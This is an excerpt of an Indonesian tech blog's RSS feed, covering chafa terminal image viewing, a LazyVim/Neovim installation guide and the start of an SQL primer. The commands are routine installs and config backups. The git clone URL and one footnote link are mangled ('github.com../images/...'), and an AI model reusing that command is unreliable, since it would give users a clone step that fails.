&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install chafa&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy chafa&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install chafa&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install chafa&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;chafa&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Picture/location-of-your-pic.jpg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Boom!&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1184&quot; height=&quot;828&quot; src=&quot;/_astro/ss1.CUGGmw_u_Z1Ss0H4.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;GIF-nya jangan lupa!!&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;704&quot; src=&quot;/_astro/gif1.CbMeFOYl_Z1zMeA7.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Keren banget, bukan?&lt;/p&gt;
&lt;p&gt;Tapi, kalau dilihat di &lt;em&gt;official&lt;/em&gt; repo github-nya, program &lt;strong&gt;chafa&lt;/strong&gt; ini memang relatif baru rilis, sekitar 2 tahun lalu. Jadi, saat itu (ketika saya mencari-cari program seperti chafa) saya mungkin saja belum menjumpai chafa karena program ini (mungkin) belum lahir.&lt;/p&gt;
&lt;p&gt;Wkwkwk~&lt;/p&gt;</content:encoded></item><item><title>Lazyvim: A neovim setup for the lazy-er(s)</title><link>https://shangdi.github.io/posts/tech/lazyvim/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/lazyvim/</guid><description>This is just my personal documentation of installing and using lazyvim as a blogger.</description><pubDate>Sun, 18 Aug 2024 13:50:11 GMT</pubDate><content:encoded>&lt;p&gt;Yoo!!&lt;/p&gt;
&lt;p&gt;Di artikel ini, saya akan membuat dokumentasi cara meng-&lt;em&gt;install&lt;/em&gt; dan menggunakan lazyvim.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br /&gt;
Dokumentasi ini bukan dokumentasi lengkap tentang lazyvim, tapi dokumentasi pribadi yang saya gunakan untuk keperluan saya sebagai blogger, terutama untuk menulis artikel untuk website hugo saya ini.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Sebetulnya, proses instalasi lazyvim di website maupun di &lt;em&gt;repository&lt;/em&gt; github-nya sudah sangat jelas dan mudah dipahami. Akan tetapi, di sini, saya akan membuat beberapa tambahan atau &lt;em&gt;requirements&lt;/em&gt; yang perlu dilakukan sebelum instalasi agar proses instalasinya lebih detail. Sebagai catatan, instalasi lazyvim ini saya tujuan untuk pemasangan di &lt;em&gt;environment&lt;/em&gt; linux ya~&lt;/p&gt;
&lt;p&gt;Ngomong-ngomong, apasih lazyvim itu?&lt;/p&gt;
&lt;p&gt;Penjelasan dari repo githubnya sangat sederhana, yaitu “&lt;em&gt;Neovim config for the lazy&lt;/em&gt;”, &lt;em&gt;that’s it&lt;/em&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Nah, kalau saya boleh jelaskan lebih lanjut, sebetulnya, lazyvim adalah sebuah konfigurasi untuk program neovim (yang mana adalah program teks editor seperti nano dan vim -btw, neovim adalah versi baru dari vim- yang berbasis &lt;em&gt;command line interface&lt;/em&gt; atau CLI). Jadi, dengan hadirnya lazyvim, kita dapat menulis teks atau baris-baris kode program dengan lebih mudah, lebih efisien, dan tentu saja lebih estetik (dibandingkan dengan menggunakan file konfigurasi default-nya).&lt;/p&gt;
&lt;p&gt;So, artikel ini akan terbagi ke dalam 2 bagian:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Pre-instalasi lazyvim&lt;/li&gt;
&lt;li&gt;Instalasi lazyvim&lt;/li&gt;
&lt;/ol&gt;
&lt;section&gt;&lt;h2&gt;Pre-Instalasi Lazyvim&lt;a href=&quot;#pre-instalasi-lazyvim&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sebelum meng-&lt;em&gt;install&lt;/em&gt; lazyvim, saya perlu terlebih dahulu meng-&lt;em&gt;install&lt;/em&gt; font yang diperlukan, 2 font yang diperlukan, yaitu &lt;strong&gt;jetbrains nerd font&lt;/strong&gt; dan &lt;strong&gt;symbol nerd font&lt;/strong&gt;. Setelah itu, kita juga perlu meng-&lt;em&gt;install&lt;/em&gt; **** untuk memastikan bahwa font yang sudah di-&lt;em&gt;install&lt;/em&gt; benar-benar terpasang dan sudah bisa digunakan.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Instalasi Jetbrains Nerd font&lt;a href=&quot;#instalasi-jetbrains-nerd-font&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita perlu mengunjungi website nerd fonts, kemudian unduh &lt;strong&gt;“JetBrainsMono Nerd Font”&lt;/strong&gt;.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Link website nerd font: &lt;a href=&quot;https://www.nerdfonts.com/font-downloads&quot; target=&quot;_blank&quot;&gt;https://www.nerdfonts.com/font-downloads&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;633&quot; height=&quot;297&quot; src=&quot;/_astro/ss1.DXyb2ubD_Z1M1Ff.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Tunggu beberapa saat karena ukuran file zip-nya relatif besar, sekitar 100 MB.&lt;/p&gt;&lt;p&gt;Kemudian ketikkan perintah berikut&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.local/share/fonts&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;unzip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/Downloads/JetBrainsMono.zip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;fc-cache&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-fv&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Jika belum memasang program unzip, silakan pasang dengan perintah &lt;code&gt;sudo pacman -Sy unzip&lt;/code&gt; (Archlinux) atau &lt;code&gt;sudo apt install unzip&lt;/code&gt; (Debian/Ubuntu)&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Instalasi Symbol Nerd Font&lt;a href=&quot;#instalasi-symbol-nerd-font&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Lakukan hal yang sama untuk memasang symbol nerd font. Kunjungi website nerd fonts, kemudian unduh &lt;strong&gt;“Symbols Nerd Font”&lt;/strong&gt;.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Link website nerd font: &lt;a href=&quot;https://www.nerdfonts.com/font-downloads&quot; target=&quot;_blank&quot;&gt;https://www.nerdfonts.com/font-downloads&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;631&quot; height=&quot;319&quot; src=&quot;/_astro/ss2.emNNoIv1_1HJBqC.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kemudian, ketikkan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.local/share/fonts/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;unzip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/Downloads/NerdFontsSymbolsOnly.zip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;fc-cache&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-fv&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Instalasi Font Manager&lt;a href=&quot;#instalasi-font-manager&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, kita akan meng-&lt;em&gt;install&lt;/em&gt; font manager. Ketikkan perintah berikut:
(Archlinux)&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;font-manager&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;(Debian/Ubuntu)&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;font-manager&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Sekarang, kita bisa membuka font manager untuk memastikan &lt;strong&gt;Jetbrains Nerd Font&lt;/strong&gt; dan &lt;strong&gt;Symbols Nerd Font&lt;/strong&gt; sudah terpasang.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Jetbrains Nerd Font &amp;amp;#x26; Symbols Nerd Font sudah ter-install&quot; loading=&quot;lazy&quot; width=&quot;1839&quot; height=&quot;1045&quot; src=&quot;/_astro/ss3.DIXnOy_7_ZdvGJK.webp&quot; /&gt;&lt;figcaption&gt;Jetbrains Nerd Font &amp;amp; Symbols Nerd Font sudah ter-install&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Instalasi Lazyvim&lt;a href=&quot;#instalasi-lazyvim&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Proses instalasi ini merujuk pada pentunjuk resmi lazyvim di repo github-nya:&lt;/p&gt;&lt;a href=&quot;https://github.com/lazyvim/LazyVim&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;lazyvim&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;LazyVim&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Oke, ketika font sudah terpasang, sekarang saatnya meng-&lt;em&gt;install&lt;/em&gt; lazyvim. Namun, sebelum lanjut, pastikan beberapa persyaratan berikut ini sudah terpenuhi terlebih dahulu:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Neovim &amp;gt;= 0.9.0 (needs to be built with LuaJIT)&lt;/li&gt;
&lt;li&gt;Git &amp;gt;= 2.19.0 (for partial clones support)&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Kalau belum di-&lt;em&gt;install&lt;/em&gt;, silakan ketikkan perintah berikut &amp;amp; pastikan versinya sudah memenuhi persyaratan minimal:
(Archlinux)&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;neovim&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;(Debian)&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;neovim&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nvim&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;353&quot; height=&quot;268&quot; src=&quot;/_astro/ss4.-ncHBKrc_Z1NS4SJ.webp&quot; /&gt;&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Buat Backup Config Neovim&lt;a href=&quot;#buat-backup-config-neovim&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Ini diperlukan jika kalian sebelumnya sudah memiliki file konfigurasi neovim sehingga perlu di-&lt;em&gt;backup&lt;/em&gt; agar nanti jika ingin kembali menggunakan file konfigurasi yang lama, tinggal mengambalikan &lt;em&gt;backup&lt;/em&gt;-nya saja.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/nvim&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/nvim.bak&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.local/share/nvim&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.local/share/nvim.bak&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Cloning File Starter-nya&lt;a href=&quot;#cloning-file-starter-nya&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita akan meng-&lt;em&gt;cloning&lt;/em&gt; file konfigurasi lazyvim untuk neovim-nya.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;clone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://github.com../images/lazyvim/starter&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/nvim/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-rf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/nvim/.git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Start Neovim!&lt;a href=&quot;#start-neovim&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, kita bisa mencoba menjalankan neovim dengan konfigurasi lazyvim, mudah, dengan mengetikkan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nvim&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut ini kira-kira adalah penampakannya ketika pertama kali menjalakan neovim dengan setup lazyvim:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;601&quot; src=&quot;/_astro/gif1.1-S7ck9-_23qPIM.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Beberapa &lt;em&gt;keymaps&lt;/em&gt; yang dapat digunakan dapat dicontek di sini:&lt;br /&gt;
&lt;a href=&quot;http://www.lazyvim.org/keymaps&quot; target=&quot;_blank&quot;&gt;http://www.lazyvim.org/keymaps&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Tapi, beberapa yang biasa saya gunakan dan keren misalnya:&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;596&quot; height=&quot;128&quot; src=&quot;/_astro/ss5.D5ay4Q09_2dYltq.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Beberapa tutorial neovim maupun lazyvim juga dapat ditonton di Youtube, salah satunya sebagai berikut:&lt;/p&gt;
&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com../images/lazyvim/LazyVim&quot; target=&quot;_blank&quot;&gt;https://github.com../images/lazyvim/LazyVim&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/@almatins/install-nerdfont-or-any-fonts-using-the-command-line-in-debian-or-other-linux-f3067918a88c&quot; target=&quot;_blank&quot;&gt;https://medium.com/@almatins/install-nerdfont-or-any-fonts-using-the-command-line-in-debian-or-other-linux-f3067918a88c&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>SQL Basics - Installation to Basic Commands</title><link>https://shangdi.github.io/posts/tech/sqlbasic/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/sqlbasic/</guid><pubDate>Fri, 16 Aug 2024 08:03:25 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Sepintas SQL, Database, dan Database Relational&lt;a href=&quot;#sepintas-sql-database-dan-database-relational&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Tentang SQL dan MySQL&lt;a href=&quot;#tentang-sql-dan-mysql&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pernah dengan SQL?&lt;/p&gt;&lt;p&gt;Yap, SQL atau &lt;em&gt;Structured Query Language&lt;/em&gt; adalah bahasa yang digunakan untuk membuat, mengakses, dan memodifikasi data dalam sebuah &lt;em&gt;database&lt;/em&gt;, khususnya pada &lt;em&gt;relational database&lt;/em&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Apa itu &lt;em&gt;relational database&lt;/em&gt;?. Perlu diketahui terlebih dahulu bahwa &lt;em&gt;database&lt;/em&gt; atau basis data adalah sebuah sistem untuk menyimpan data dengan rapih. Database dapat diibaratkan sebagai lemari yang menyimpan berbagai macam pakaian.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Dengan adanya lemari, pakaian kita tersusun, tersimpan, dan tertata dengan rapih sehingga mudah untuk dicari nanti ketika dibutuhkan. Begitupula dengan data, data yang disimpan dalam sebuah &lt;em&gt;database&lt;/em&gt; akan memudahkan pengguna data untuk mengaksesnya nanti ketika diperlukan. Data dalam database disimpan dalam bentuk tabel yang memiliki baris dan kolom.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Ilustrasi:&lt;/strong&gt; Database dan tabel dapat diibaratkan juga seperti menyimpan file-file di dalam folder, dimana database adalah foldernya dan tabel-tabelnya adalah file-filenya.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Tabel database&quot; loading=&quot;lazy&quot; width=&quot;1377&quot; height=&quot;399&quot; src=&quot;/_astro/ss1.CvqEEozf_Z2V1jo.webp&quot; /&gt;&lt;figcaption&gt;Tabel database&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Nah, sekarang, kita kembali lagi, apa itu &lt;em&gt;relational database&lt;/em&gt;? Sebetulnya, &lt;em&gt;relational database&lt;/em&gt; adalah kumpulan tabel yang dapat saling terhubung satu sama lain melalui kunci (&lt;em&gt;keys&lt;/em&gt;), yaitu &lt;em&gt;primary key&lt;/em&gt; dan &lt;em&gt;foreign key&lt;/em&gt;. Primary key adalah nilai unik yang dimiliki suatu data. Contoh &lt;em&gt;primary key&lt;/em&gt; adalah nomor KTP karena nomor KTP setiap orang tidak akan sama, meskipun diantara dua anak kembar sekalipun. Atau pada contoh gambar tabel saya di atas adalah NIM (Nomor Induk Mahasiswa). Sedangkan &lt;em&gt;foreign key&lt;/em&gt; adalah adalah nilai yang mereferensikan data dari tabel lain.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;primary key &amp;amp;#x26; foreign key&quot; loading=&quot;lazy&quot; width=&quot;1409&quot; height=&quot;288&quot; 